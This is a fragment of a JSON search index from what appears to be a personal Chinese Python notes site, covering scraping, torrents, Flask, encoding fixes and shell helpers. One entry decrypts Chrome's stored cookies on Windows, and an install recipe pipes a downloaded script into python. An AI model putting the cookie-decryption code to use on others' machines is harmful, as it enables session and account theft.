headless\\u722c\\u590d\\u6742\\u7f51\\u9875\",\"text\":\"<p>\\u4f8b\\u5b50\\uff1a\\u963f\\u91cc\\u4e91\\u6240\\u6709\\u57df\\u540d\\u4ef7\\u683c\\u9875\\u9762 https://wanwang.aliyun.com/help/price.html</p> <p>\\u4ece\\u7f51\\u7edc\\u8bf7\\u6c42\\u770b\\u51fa\\u5176\\u4ef7\\u683c\\u63a5\\u53e3\\u6709\\u591a\\u4e2a\\uff0c\\u800c\\u4e14\\u8f83\\u4e3a\\u590d\\u6742\\uff1b\\u90a3\\u5c31\\u4e0d\\u59a8\\u8bd5\\u8bd5\\u7528selenium\\u8ba9chrome headless\\u8bbf\\u95ee\\u8fd9\\u4e2a\\u9875\\u9762\\uff0c\\u52a0\\u8f7d\\u6e32\\u67d3\\u5b8c\\u6210\\u540e\\u6211\\u4eec\\u518d\\u83b7\\u53d6\\u9875\\u9762\\u6e90\\u4ee3\\u7801\\uff0c\\u6b64\\u65f6\\u6e90\\u4ee3\\u7801\\u91cc\\u9762\\u5c31\\u6709\\u4e86\\u5b8c\\u6574\\u7684\\u4ef7\\u683c\\u6570\\u636e</p> <p>\\u8fd0\\u884c\\u73af\\u5883\\uff1a\\u53ea\\u9700\\u8981Docker\\u548cPython3\\uff0c\\u65e0\\u9700\\u684c\\u9762\\u73af\\u5883</p> <p>\\u955c\\u50cf\\u53c2\\u8003\\uff1ahttps://hub.docker.com/r/selenium/standalone-chrome/</p> <p>\\u5148\\u8dd1\\u8d77\\u6765\\u5bb9\\u5668\\u5457\\uff0c\\u8fd9\\u6837\\u5c31\\u8fd0\\u884c\\u4e86selenium server\\uff0c\\u4e3b\\u673a\\u66b4\\u9732\\u4e86\\u4e00\\u4e2a6666\\u7aef\\u53e3\\uff0c\\uff1a</p> <pre><code>docker run -d -p 6666:4444 -v /dev/shm:/dev/shm selenium/standalone-chrome\\n</code></pre> <p>\\u5b89\\u88c5Python\\u5305\\uff1a<code>pip3 install selenium</code></p> <p>\\u8c03\\u7528\\u4ee3\\u7801\\uff0c\\u722c\\u53d6url\\uff0c\\u5f97\\u5230\\u7f51\\u9875\\u6e90\\u4ee3\\u7801\\uff0c\\u5176\\u4e2d127.0.0.1\\u76f8\\u5e94\\u5730\\u4fee\\u6539\\u4e3aDocker\\u4e3b\\u673a\\u7684IP:</p> <pre><code>url = \\\"https://wanwang.aliyun.com/help/price.html\\\"\\n\\nfrom selenium import webdriver\\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\\ndriver = webdriver.Remote(\\n    command_executor='http://127.0.0.1:6666/wd/hub',\\n    desired_capabilities=DesiredCapabilities.CHROME)\\ndriver.get(url)\\nhtml = driver.page_source\\nwith open(\\\"result.html\\\", \\\"w\\\", encoding=\\\"utf-8\\\") as fp:\\n        fp.write(html)\\ndriver.quit() #\\u4e00\\u5b9a\\u8981\\u8bb0\\u5f97\\u6e05\\u7406\\u6389Chrome\\u8fdb\\u7a0b \\u5426\\u5219\\u5185\\u5b58\\u4f1a\\u5360\\u6ee1\\n</code></pre> <p>\\u5982\\u679c\\u6ca1\\u6709\\u5728\\u4ee3\\u7801\\u91cc\\u9762\\u6e05\\u7406Chrome\\u8fdb\\u7a0b\\uff0c\\u53ef\\u4ee5\\u5728\\u6d4f\\u89c8\\u5668\\u91cc\\u9762\\u8fdb\\u5165Console\\uff0c\\u5728\\u8fd9\\u91cc\\u53ef\\u4ee5\\u770b\\u5230\\u5f53\\u524d\\u8fd0\\u884c\\u7684Session (Chrome\\u8fdb\\u7a0b) \\uff0c\\u5bf9\\u5f53\\u524d\\u9875\\u9762\\u67e5\\u770b\\u9875\\u9762\\u622a\\u56fe\\uff1a http://127.0.0.1:6666/wd/hub/static/resource/hub.html</p>\"},{\"location\":\"Python/#pythonroot\",\"title\":\"python\\u4e22\\u5f03root\\u6743\\u9650\",\"text\":\"<p>\\u5982\\u679cpython\\u9700\\u8981\\u76d1\\u542c80\\u7aef\\u53e3\\uff0c\\u7b80\\u5355\\u65b9\\u5f0f\\u5c31\\u662f\\u76f4\\u63a5\\u7528root\\u6743\\u9650\\u542f\\u52a8\\uff0c\\u4f46\\u542f\\u52a8\\u540e\\u53ef\\u4ee5\\u4e22\\u5f03root\\u6743\\u9650\\u6765\\u63d0\\u9ad8\\u5b89\\u5168\\u6027</p> <p>code from https://stackoverflow.com/questions/2699907/dropping-root-permissions-in-python</p> <pre><code>import os, pwd, grp\\n\\ndef drop_privileges(uid_name='nobody', gid_name='nogroup'):\\n    if os.getuid() != 0:\\n        # We're not root so, like, whatever dude\\n        return\\n\\n    # Get the uid/gid from the name\\n    running_uid = pwd.getpwnam(uid_name).pw_uid\\n    running_gid = grp.getgrnam(gid_name).gr_gid\\n\\n    # Remove group privileges\\n    os.setgroups([])\\n\\n    # Try setting the new uid/gid\\n    os.setgid(running_gid)\\n    os.setuid(running_uid)\\n</code></pre>\"},{\"location\":\"Python/#python-transmissionrpc\",\"title\":\"python transmissionrpc\",\"text\":\"<p>\\u4e0b\\u8ff0\\u4e3b\\u8981\\u4ecb\\u7ecdtransmissionrpc\\u8fd9\\u4e2a\\u5e93\\u7684\\u4f7f\\u7528</p>\"},{\"location\":\"Python/#_14\",\"title\":\"\\u4e0a\\u4f20\\u4e00\\u4e2a\\u79cd\\u5b50 \\u5f00\\u59cb\\u4e0b\\u8f7d\",\"text\":\"<p>\\u4f7f\\u7528Client\\u7684add_torrent\\u65b9\\u6cd5\\uff0c\\u4f20\\u5165\\u79cd\\u5b50\\u6587\\u4ef6\\u7684base64</p> <pre><code>def upload_transmission(thost, tport, tuser, tpassword, filename):\\ntc = transmissionrpc.Client(thost, port=tport, user=tuser, password=tpassword)\\nreturn tc.add_torrent(base64.b64encode(open(filename, \\\"rb\\\").read()).decode())\\n</code></pre> <p>\\u8fd4\\u56de\\u503c\\u662f\\u4e00\\u4e2a\\u4e0d\\u5b8c\\u6574\\u7684torrent\\u5bf9\\u8c61</p>\"},{\"location\":\"Python/#torrent\",\"title\":\"\\u83b7\\u53d6\\u5b8c\\u6574\\u7684torrent\\u5bf9\\u8c61\",\"text\":\"<pre><code>torrent_id = torrent.id\\nfull_torrent = tc.get_torrent(torrent_id)\\n</code></pre> <p>\\u5176\\u4e2d\\u5c31\\u6709\\u72b6\\u6001\\u548c\\u8fdb\\u5ea6\\u4fe1\\u606f</p> <pre><code>print(full_torrent.status, full_torrent.progress)\\n</code></pre>\"},{\"location\":\"Python/#tracker\",\"title\":\"\\u7ed9\\u79cd\\u5b50\\u589e\\u52a0\\u4e00\\u4e2atracker\",\"text\":\"<p>\\u8fd9\\u6837\\u53ef\\u4ee5\\u628apt\\u7ad9\\u70b9\\u7684\\u79cd\\u5b50\\u8f6c\\u5230OpenTracker\\uff0c\\u65e0\\u9700\\u91cd\\u65b0\\u6821\\u9a8c\\u79cd\\u5b50\\uff08\\u4f46\\u4f20\\u5230\\u65b0\\u7684pt\\u7ad9\\u70b9infohash\\u4f1a\\u53d8\\uff0c\\u53ea\\u80fd\\u4f20\\u65b0\\u79cd\\u5b50\\u91cd\\u65b0\\u6821\\u9a8c\\uff09</p> <p>transmissionrpc\\u672c\\u8eab\\u4f3c\\u4e4e\\u6ca1\\u6709\\u66b4\\u9732\\u51fatrackerAdd\\u7684\\u65b9\\u6cd5\\uff0c\\u8fd9\\u662f\\u7ed3\\u5408\\u6d4f\\u89c8\\u5668\\u548c\\u7ffb\\u9605\\u4ee3\\u7801\\u81ea\\u5df1\\u8bd5\\u51fa\\u6765\\u7684</p> <pre><code>torrent._client._request('torrent-set', {\\\"trackerAdd\\\": [new_tracker_url]}, torrent.id, True)\\n</code></pre>\"},{\"location\":\"Python/#torrenttracker\",\"title\":\"\\u4fee\\u6539\\u4e00\\u4e2a.torrent\\u6587\\u4ef6\\u7684tracker\",\"text\":\"<p>\\u4f7f\\u7528torf\\u5e93\\uff0c\\u8fd9\\u4e2a\\u5e93\\u4f7f\\u7528\\u4e86python3.6\\u624d\\u652f\\u6301\\u7684\\u7279\\u6027\\uff0c\\u4f9d\\u8d56\\u4e8e\\u683c\\u5f0f\\u5316\\u5b57\\u7b26\\u4e32\\u3001dict\\u904d\\u5386\\u7684\\u6709\\u5e8f\\u6027</p> <p>\\u6211\\u4fee\\u6539\\u540e\\u7684\\u7248\\u672c\\u4e0b\\u8f7d\\uff0c\\u652f\\u6301py3.5\\uff1ahttps://d.py3.io/torf.zip</p> <p>\\u4ee3\\u7801\\uff1a</p> <pre><code>t=torf.Torrent.read(torrent_filename)\\nt.trackers=[[new_tracker_url]]\\nt.write(\\\"new.torrent\\\")\\n</code></pre>\"},{\"location\":\"Python/#uwsgi\",\"title\":\"uwsgi\\u4f18\\u96c5\\u91cd\\u542f\",\"text\":\"<p>\\u53c2\\u8003\\uff1ahttp://uwsgi-docs.readthedocs.io/en/latest/articles/TheArtOfGracefulReloading.html</p> <p>\\u5728uwsgi.ini\\u4e2d\\u6dfb\\u52a0\\u4e00\\u884c\\uff1a</p> <pre><code>master-fifo = /tmp/uwsgififo\\n</code></pre> <p>\\u9700\\u8981\\u91cd\\u542f\\u7684\\u65f6\\u5019\\u5c31\\uff1a</p> <pre><code>echo r&gt;/tmp/uwsgififo\\n</code></pre> <p>\\u6587\\u4ef6\\u6253\\u5f00\\u65b9\\u5f0f\\u5fc5\\u987b\\u662f\\u201dw\\u201d\\u800c\\u4e0d\\u80fd\\u662f\\u201da\\u201d\\uff1a</p> <pre><code>open(\\\"/tmp/uwsgififo\\\", \\\"w\\\").write(\\\"r\\\")\\n</code></pre>\"},{\"location\":\"Python/#flask\",\"title\":\"flask\\u8bbe\\u7f6e\\u4e00\\u5806\\u9759\\u6001\\u76ee\\u5f55\",\"text\":\"<pre><code>from flask import Flask, render_template, Blueprint, request, redirect, Markup\\napp = Flask(__name__)\\nfor path in ['pic', 'skin', 'images', '\\u66f4\\u591a\\u9759\\u6001\\u76ee\\u5f55']:\\n    blueprint = Blueprint(path, __name__, static_url_path='/'+path, static_folder=path)\\n    app.register_blueprint(blueprint)\\n</code></pre>\"},{\"location\":\"Python/#python35-openutf-8\",\"title\":\"Python3.5 open\\u6253\\u5f00\\u6587\\u4ef6\\u9ed8\\u8ba4\\u4f7f\\u7528utf-8\",\"text\":\"<p>Windows\\u4e0bopen\\u6253\\u5f00\\u6587\\u4ef6\\u603b\\u662f\\u4f1a\\u4f7f\\u7528gbk\\uff0c\\u914d\\u7f6e\\u73af\\u5883\\u53d8\\u91cf\\u5982PYTHONIOENCODING\\u90fd\\u6ca1\\u7528\\uff0c\\u5c31\\u5f88\\u6c14\\uff0c\\u96be\\u9053\\u53ea\\u80fd\\u6bcf\\u6b21open\\u90fd\\u4fdd\\u8bc1\\u5199\\u4e0aencoding=\\u201dutf-8\\u201d\\u561b\\uff1f\\u5f53\\u7136\\u4e0d\\u5fc5</p> <p>google\\u641c\\u7d22\\u5173\\u952e\\u8bcd\\uff1awindows python3 change open file encoding</p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a\\u53c2\\u8003\\uff1ahttps://stackoverflow.com/questions/31469707/changing-the-locale-preferred-encoding-in-python-3-in-windows</p> <p>\\u6dfb\\u52a0\\u4ee3\\u7801\\uff1a\\u7531\\u4e8e\\u53ea\\u6709windows\\u624d\\u9700\\u8981\\u8fd9\\u4e48\\u5904\\u7406\\uff0c\\u6240\\u4ee5\\u5148\\u5224\\u65ad\\u64cd\\u4f5c\\u7cfb\\u7edf</p> <pre><code>import sys\\nif sys.platform.startswith(\\\"win\\\"):\\n    import _locale\\n    _locale._getdefaultlocale = (lambda *args: ['en_US', 'utf8'])\\n</code></pre>\"},{\"location\":\"Python/#pythonurl\",\"title\":\"Python\\u63d0\\u53d6url \\u6b63\\u5219\\u5339\\u914d\\u7684\\u56de\\u6eaf\\u7206\\u70b8\\u95ee\\u9898\",\"text\":\"<p>\\u63d0\\u53d6url\\u60f3\\u9047\\u5230\\u4e2d\\u6587\\u5b57\\u7b26\\u5c31\\u4e0d\\u7b97\\u5165url\\u4e2d\\uff0c\\u5199\\u51fa\\u4e86\\u8fd9\\u6837\\u7684\\u6b63\\u5219(Python)\\uff0c\\u628a\\u4e2d\\u6587\\u52a0\\u5165\\u5230\\u6700\\u540e\\u7684\\u6392\\u9664\\u5b57\\u7b26\\uff1a</p> <pre><code>_url_re = re.compile(r'(?im)((?:https?://|www\\\\d{0,3}[.]|[a-z0-9.\\\\-]+[.][a-z]{2,4}/)(?:[^\\\\s()&lt;&gt;\\uff0c\\u3002\\uff08\\uff09]+|\\\\([^\\\\s()&lt;&gt;\\uff0c\\u3002\\uff08\\uff09]+\\\\))+(?:\\\\([^\\\\s()&lt;&gt;\\uff0c\\u3002\\uff08\\uff09]+\\\\)|[^\\\\u4e00-\\\\u9fa5\\uff0c\\u3002\\uff08\\uff09\\\\s`!()\\\\[\\\\]{};:\\\\'\\\".,&lt;&gt;?]))')\\n</code></pre> <p>\\u7136\\u540e\\u5b9e\\u9645\\u8fd0\\u884c\\u7684\\u65f6\\u5019\\u53d1\\u73b0\\u7f51\\u7ad9\\u7279\\u5b9a\\u9875\\u9762\\u8bbf\\u95ee\\u7279\\u522b\\u7f13\\u6162\\uff0cCPU\\u5360\\u7528\\u9ad8\\uff0c\\u6392\\u9664\\u8bb8\\u4e45\\u6b7b\\u5faa\\u73af\\u540e\\u53d1\\u73b0\\u662f\\u8fd9\\u4e2a\\u6b63\\u5219\\u82b1\\u4e86\\u592a\\u957f\\u7684\\u65f6\\u95f4</p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\u5c31\\u662f\\u653e\\u5f03\\u4f7f\\u7528\\u6b63\\u5219\\u6765\\u5254\\u9664\\u4e2d\\u6587\\uff0c\\u63d0\\u53d6\\u51fa\\u542b\\u6709\\u4e2d\\u6587\\u5b57\\u7b26\\u7684url\\u540e\\u518d\\u505a\\u5904\\u7406\\u53bb\\u6389\\u4e2d\\u6587\\u5b57\\u7b26\\uff08\\u5b57\\u8282\\u6570&gt;1\\u7684\\uff09</p> <p>\\u73b0\\u5728\\u4f7f\\u7528\\u7684\\u6b63\\u5219\\u662f\\uff1a</p> <pre><code>_url_re = re.compile(r'(?im)((?:https?://|www\\\\d{0,3}[.]|[a-z0-9.\\\\-]+[.][a-z]{2,4}/)(?:[^\\\\s()&lt;&gt;]+|\\\\([^\\\\s()&lt;&gt;]+\\\\))+(?:\\\\([^\\\\s()&lt;&gt;]+\\\\)|[^\\\\s`!()\\\\[\\\\]{};:\\\\'\\\".,&lt;&gt;?]))')\\n</code></pre> <p>\\u63d0\\u53d6\\u540e\\u7684\\u5904\\u7406\\u4ee3\\u7801\\uff1a</p> <pre><code>start, end = match.span()\\nwhile len(data[end-1].encode(\\\"utf-8\\\"))&gt;1:\\n    end -= 1\\n</code></pre> <p>\\u73b0\\u5728\\u6539\\u4e3a\\u66f4\\u52a0\\u4fdd\\u5b88\\u7684 \\u4ece\\u5de6\\u5f80\\u53f3\\u904d\\u5386\\uff0c\\u9047\\u5230\\u5b57\\u8282\\u6570&gt;1\\u7684\\u5c31\\u7ec8\\u6b62url\\uff1a</p> <pre><code>start, end = match.span()\\nnewend = start\\nwhile newend&lt;end and len(data[newend].encode(\\\"utf-8\\\"))==1:\\nnewend += 1\\nend = newend\\n</code></pre>\"},{\"location\":\"Python/#ubuntugmpy2\",\"title\":\"ubuntu\\u5b89\\u88c5gmpy2\",\"text\":\"<pre><code>apt install libmpc-dev libmpfr-dev\\npip install gmpy2\\n</code></pre> <p>\\u8fa3\\u9e21\\u7684\\u5b98\\u65b9\\u6587\\u6863\\u90fd\\u4e0d\\u63d0\\u4e00\\u4e0bapt\\u5b89\\u88c5\\u4f9d\\u8d56\\u5e93\\u7684\\u4e8b\\u60c5\\uff0capt\\u80fd\\u641e\\u5b9a\\u7684\\u4e3a\\u5565\\u8fd8\\u8981\\u81ea\\u5df1\\u7f16\\u8bd1hhh</p> <p>\\u652f\\u6301python3 \\u4e5f\\u53ef\\u4ee5-t .\\u5b89\\u88c5\\u5230\\u5f53\\u524d\\u76ee\\u5f55\\uff0c\\u5c31\\u662f\\u7f16\\u8bd1\\u751f\\u6210\\u4e86\\u4e00\\u4e2aso\\u6587\\u4ef6</p>\"},{\"location\":\"Python/#flask_1\",\"title\":\"Flask\\u6a21\\u677f \\u5220\\u53bb\\u5faa\\u73af\\u5f15\\u5165\\u7684\\u591a\\u4f59\\u7a7a\\u683c\",\"text\":\"<p>\\u5728\\u6a21\\u677f\\u6587\\u4ef6\\u4e2d\\u5199for\\u5faa\\u73af\\u7684\\u65f6\\u5019\\uff0c\\u4ea7\\u751f\\u7684html\\u4f1a\\u5305\\u542b\\u4ee3\\u7801\\u4e2d\\u7684\\u7f29\\u8fdb\\u7a7a\\u683c\\uff0c\\u8fd9\\u53ef\\u80fd\\u4f1a\\u66b4\\u9732\\u4ee3\\u7801\\u7684\\u4fe1\\u606f\\uff0c\\u6240\\u4ee5\\u6709\\u5fc5\\u8981\\u5220\\u53bb</p> <p>\\u5f88\\u7b80\\u5355 \\u628a <code>{% %}</code>\\u6539\\u4e3a <code>{%- -%}</code>\\u5373\\u53ef</p> <pre><code>{%- for i in range(1,10) -%}\\n{{i}}\\n{%- endfor -%}\\n</code></pre>\"},{\"location\":\"Python/#sentry\",\"title\":\"\\u4f7f\\u7528sentry\",\"text\":\"<p>\\u5728py\\u6587\\u4ef6\\u4e00\\u5f00\\u59cb\\u8fdb\\u884c\\u52a0\\u8f7d\\uff0c\\u4f1a\\u81ea\\u52a8\\u5904\\u7406\\u6ca1\\u6709\\u88abhandle\\u7684\\u5f02\\u5e38</p> <p>\\u5b89\\u88c5\\uff1apip install sentry_sdk</p> <pre><code>import sentry_sdk\\nfrom sentry_sdk import capture_message, capture_exception\\nsentry_sdk.init(\\\"....\\\")\\n</code></pre> <p>\\u5728\\u51fa\\u73b0\\u4e86\\u610f\\u5916\\u4f46\\u662f\\u4e0d\\u4e25\\u91cd\\u53ef\\u4ee5pass\\u7684\\u65f6\\u5019 \\u4ee3\\u66ff<code>traceback.print_exc()</code>\\uff1a</p> <pre><code>try:\\n1/0\\nexcept:\\ncapture_exception()\\ncapture_message(\\\"oho, 1/0 failed...\\\")\\npass\\n</code></pre> <p>\\u5982\\u679c\\u662fflask\\u7684\\u5e94\\u7528 \\u6bd4\\u5982\\u7528\\u6237\\u767b\\u5f55\\u4e86\\uff0c\\u5e0c\\u671b\\u62a5\\u9519\\u7684\\u65f6\\u5019\\u987a\\u5e26\\u7ed9\\u51fa\\u7528\\u6237\\u540d\\uff1a</p> <pre><code>from sentry_sdk import configure_scope\\n@app.before_request\\ndef before_request_session():\\n    if \\\"username\\\" in session:\\n        with configure_scope() as scope:\\n            scope.user = {\\\"username\\\": session[\\\"username\\\"]}\\n</code></pre>\"},{\"location\":\"Python/#sentry_1\",\"title\":\"\\u4e0d\\u8981\\u8fc7\\u4e8e\\u4f9d\\u8d56Sentry\",\"text\":\"<p><code>capture_exception</code>\\u548c<code>capture_message</code> \\u90fd\\u662f\\u540c\\u6b65\\u8c03\\u7528 \\u672c\\u8d28\\u4e0a\\u662f\\u4e00\\u4e2a\\u8017\\u65f6\\u7684\\u7f51\\u7edc\\u8bf7\\u6c42</p> <p>\\u5c24\\u5176\\u5728\\u5faa\\u73af\\u4e2d\\u89e6\\u53d1 \\u4f1a\\u5bfc\\u81f4\\u9875\\u9762\\u52a0\\u8f7d\\u901f\\u5ea6\\u663e\\u8457\\u53d8\\u6162</p> <p>\\u5bf9\\u4e8e\\u5df2\\u7ecf\\u77e5\\u9053\\u4f1a\\u6709\\u5f02\\u5e38\\u4ea7\\u751f\\u4e5f\\u4e0d\\u5173\\u5fc3\\u7684\\uff0c\\u5c31\\u4e0d\\u8981\\u6293\\u4f4f\\u8fd9\\u79cd\\u5f02\\u5e38\\u6765\\u635f\\u5bb3\\u6027\\u80fd\\u4e86 pass\\u5c31\\u597d\\u4e86</p>\"},{\"location\":\"Python/#pysysargv\",\"title\":\"\\u89e3\\u51b3\\u547d\\u4ee4\\u884c\\u6267\\u884cpy\\u6587\\u4ef6\\u6ca1\\u6709sys.argv\\u7684\\u95ee\\u9898\",\"text\":\"<p>\\u8fd9\\u662f\\u7531\\u4e8e\\u6253\\u5f00\\u65b9\\u5f0f\\u6ca1\\u6709\\u628a%*\\u52a0\\u4e0a\\u7684\\u539f\\u56e0\\uff0c\\u4fee\\u6539\\u6ce8\\u518c\\u8868 regedit</p> <pre><code>HKEY_CLASSES_ROOT\\\\Python.File\\\\Shell\\\\open\\\\command\\n</code></pre> <p>\\u672b\\u5c3e\\u52a0\\u4e0a<code>%*</code>\\u5373\\u53ef\\uff0c\\u4f8b\\u5982\\u6539\\u4e3a</p> <pre><code>\\\"C:\\\\Python37\\\\python.exe\\\" \\\"%1\\\" %*\\n</code></pre> <p>\\u4f60\\u4e5f\\u53ef\\u4ee5\\u7528\\u7ba1\\u7406\\u5458\\u6743\\u9650\\u7684cmd\\u6765\\u505a\\u4fee\\u6539\\uff1a</p> <p>\\u5148\\u67e5\\u8be2.py\\u7684\\u6587\\u4ef6\\u7c7b\\u578b\\uff1a<code>assoc .py</code>\\u67e5\\u5230<code>.py=Python.File</code></p> <p>\\u7136\\u540e\\u67e5\\u4e00\\u4e0b\\u5f53\\u524d\\u7684\\u8fd0\\u884c\\u547d\\u4ee4\\uff1a<code>ftype Python.File</code> \\u7136\\u540e\\u7528<code>ftype Python.File=\\\"C:\\\\Python37\\\\python.exe\\\" \\\"%1\\\" %*</code>\\u4fee\\u6539\\u5373\\u53ef</p>\"},{\"location\":\"Python/#pythonwindows-chromecookie\",\"title\":\"Python\\u83b7\\u53d6Windows Chrome\\u7684Cookie\",\"text\":\"<p>\\u53c2\\u8003\\uff1ahttps://github.com/cheezone/ZhihuVAPI/blob/34ef5881f83da0026119e3167ebe727619774c7b/ZhihuVAPI/util/Session.py#L18</p> <p>Chrome\\u7684cookie\\u7528sqlite\\u6570\\u636e\\u5e93\\u5b58\\u50a8\\uff0c\\u7528WinAPI\\u52a0\\u5bc6\\uff0c\\u5f53\\u524d\\u7528\\u6237\\u4efb\\u4f55\\u7a0b\\u5e8f\\u90fd\\u53ef\\u4ee5\\u8c03\\u7528\\u89e3\\u5bc6API\\u6765\\u83b7\\u53d6cookie</p> <pre><code>import sqlite3\\nimport glob\\nimport os\\nfrom win32.win32crypt import CryptUnprotectData\\n\\ndef getcookie(host):\\n    result = []\\n    for cookiepath in glob.glob(os.environ['LOCALAPPDATA'] + r\\\"\\\\*\\\\*\\\\User Data\\\\Default\\\\Cookies\\\")+glob.glob(os.environ['LOCALAPPDATA'] + r\\\"\\\\*\\\\User Data\\\\Default\\\\Cookies\\\"):\\n        sql = \\\"select host_key,name,encrypted_value from cookies where host_key='%s'\\\" % host\\n        with sqlite3.connect(cookiepath) as conn:\\n            cu = conn.cursor()\\n            cookies = {name: CryptUnprotectData(encrypted_value)[1].decode() for host_key, name, encrypted_value in cu.execute(sql).fetchall()}\\n        result.extend([k+\\\"=\\\"+v for k, v in cookies.items()])\\n    return result\\n</code></pre> <p>\\u8c03\\u7528\\u5982<code>getcookie(\\\".zhihu.com\\\")</code></p>\"},{\"location\":\"Python/#winencodingutf-8\",\"title\":\"Win\\u5f00\\u53d1\\u6446\\u8131\\u6bcf\\u6b21\\u90fd\\u8981\\u5199\\u7684encoding=utf-8\",\"text\":\"<p>\\u5728Windows\\u4e0a\\u5199\\u4ee3\\u7801\\uff0c\\u76ee\\u6807\\u90e8\\u7f72\\u73af\\u5883\\u4e3alinux\\uff0c\\u672c\\u673a\\u8fd0\\u884c\\u7684\\u65f6\\u5019\\u4e0d\\u60f3\\u6bcf\\u6b21\\u8bfb\\u5199\\u6587\\u4ef6\\u90fd\\u8981\\u5199<code>encoding=\\\"utf-8\\\"</code></p> <p>\\u4fee\\u6539<code>C:\\\\Python38\\\\Lib\\\\site.py</code>\\uff0c\\u672b\\u5c3e\\u52a0\\u4e0a\\uff1a</p> <pre><code>import _locale\\n_locale._getdefaultlocale = (lambda *args: ['en_US', 'utf8'])\\n</code></pre> <p>\\u9a8c\\u8bc1\\u53ef\\u4ee5\\u7528\\uff1a<code>python -c \\\"print(open('x','w').encoding)\\\"</code> \\u8f93\\u51fa<code>utf8</code>\\u800c\\u4e0d\\u662f<code>cp936</code>\\u5373\\u53ef</p> <p>\\u53c2\\u8003\\uff1a https://juejin.im/post/5bd2b6d5e51d45735c3c0453</p>\"},{\"location\":\"Python/#ubuntu1604python37\",\"title\":\"Ubuntu16.04\\u5b89\\u88c5Python3.7\",\"text\":\"<p>\\u5e76\\u4e14\\u8bbe\\u7f6e\\u4e3a\\u9ed8\\u8ba4\\u7684python</p> <pre><code>    apt-key adv --keyserver keyserver.ubuntu.com --recv-keys BA6932366A755776 &amp;&amp;\\\\\\n    echo \\\"deb http://ppa.launchpad.net/deadsnakes/ppa/ubuntu xenial main\\\" &gt; /etc/apt/sources.list.d/python.list &amp;&amp;\\\\\\n    apt update &amp;&amp; apt install -y python3.7-dev &amp;&amp;\\\\\\n    update-alternatives --install /usr/bin/python python /usr/bin/python3.7 50 &amp;&amp;\\\\\\n    curl https://bootstrap.pypa.io/get-pip.py | python &amp;&amp;\\\\\\n    pip install -U setuptools\\n</code></pre> <p>\\u4f46\\u662f\\u5728ubuntu 14.04\\u4e0a\\u4ece\\u8fd9\\u4e2appa\\u6e90\\u5b89\\u88c5\\u7684python\\u6ca1\\u6709_ssl\\u7684\\u5e93\\uff0c\\u65e0\\u6cd5\\u4f7f\\u7528pip\\u5f88\\u8ff7\\uff08\\u89e3\\u51b3\\u65b9\\u6848\\u5c31\\u662f\\u5f00\\u4e86\\u4e00\\u4e2adocker ubuntu16.04\\u7684\\u5bb9\\u5668\\u7ee7\\u7eed\\uff09</p>\"},{\"location\":\"Python/#keyboardinterrupt\",\"title\":\"\\u5224\\u65ad\\u4ee3\\u7801\\u662f\\u5426\\u5361\\u4f4f\\uff0c\\u81ea\\u52a8\\u53d1\\u9001KeyboardInterrupt\",\"text\":\"<p>\\u573a\\u666f\\uff1a \\u8dd1\\u722c\\u866b\\u7b49\\u4f9d\\u8d56\\u7f51\\u7edc\\u7684\\u4ee3\\u7801\\uff0c\\u9047\\u5230\\u7f51\\u7edc\\u4e0d\\u4f73\\u7684\\u65f6\\u5019\\u4e00\\u76f4\\u5361\\u4f4f\\u4e0d\\u518d\\u6267\\u884c\\uff0c\\u589e\\u52a0timeout\\u8bbe\\u7f6e\\u786e\\u5b9e\\u662f\\u4e00\\u79cd\\u65b9\\u6cd5\\uff0c\\u6709\\u6ca1\\u6709\\u4e0d\\u7528\\u6539\\u4ee3\\u7801\\u7684\\u65b9\\u5f0f\\u5462\\uff1f</p> <p>\\u4f9d\\u8d56\\uff1a <code>apt install inotify-tools</code></p> <p>watch.sh:</p> <pre><code>#!/bin/bash\\nwhile true; do\\ninotifywait -e modify -t 100 $1\\nres=$?\\nif [ \\\"$res\\\" == \\\"2\\\" ]; then\\necho \\\"[`date`] Time Out!\\\"\\n$2 || break\\nfi\\nsleep 60\\ndone\\n</code></pre> <p>\\u7528\\u6cd5\\uff1a</p> <pre><code>python -u run.py &gt;&amp; log.txt &amp;\\nps #\\u67e5\\u770bpython\\u8fdb\\u7a0b\\u7684id, \\u5047\\u8bbe\\u4e3a12345\\n./watch.sh log.txt \\\"kill -SIGINT 12345\\\"\\n</code></pre> <p>\\u89e3\\u91ca\\uff1apython\\u6307\\u5b9a\\u8f93\\u51fa\\u6d41\\u4e0d\\u7f13\\u5b58\\uff0c\\u4fdd\\u8bc1\\u6700\\u65b0\\u7684print\\u4e5f\\u80fd\\u5b9e\\u65f6\\u5199\\u5165\\u6587\\u4ef6\\u4e2d</p> <p>\\u7136\\u540e\\u4f7f\\u7528inotifywait\\u8fd9\\u4e2a\\u5de5\\u5177\\u89c2\\u5bdf\\u6587\\u4ef6<code>$1</code>\\u5728100\\u79d2\\u5185\\u6709\\u6ca1\\u6709\\u53d1\\u751f\\u4fee\\u6539</p> <p>\\u5982\\u679c\\u6ca1\\u6709\\u4fee\\u6539\\u5c31\\u6267\\u884c\\u7528\\u6237\\u63d0\\u4f9b\\u7684\\u53c2\\u6570<code>$2</code>\\uff0c\\u8fd9\\u91cc\\u662f\\u4f7f\\u7528kill\\u53d1\\u9001SIGINT\\u4fe1\\u53f7</p> <p>\\u5728Linux\\u91cc\\uff0c\\u7528\\u6237\\u6309Ctrl+C\\u5c31\\u662fBASH\\u7ed9\\u5f53\\u524d\\u524d\\u53f0\\u7684\\u8fdb\\u7a0b\\u53d1\\u9001\\u8fd9\\u4e2a\\u4fe1\\u53f7</p> <p>\\u5982\\u679c\\u8fdb\\u7a0b\\u5df2\\u7ecf\\u7ed3\\u675f\\uff0c\\u90a3\\u4e48kill\\u4f1a\\u62a5\\u9519\\u627e\\u4e0d\\u5230\\u8fdb\\u7a0b\\uff0c\\u8fd9\\u65f6\\u5019\\u6211\\u4eec\\u5c31\\u53ef\\u4ee5break\\u8df3\\u51fa\\u5faa\\u73af\\u4e86</p> <p>\\u5982\\u679c\\u53d1\\u751f\\u4e86\\u4fee\\u6539\\u5c31\\u6b47\\u4e00\\u5206\\u949f\\u540e\\u7ee7\\u7eed\\u89c2\\u5bdf</p> 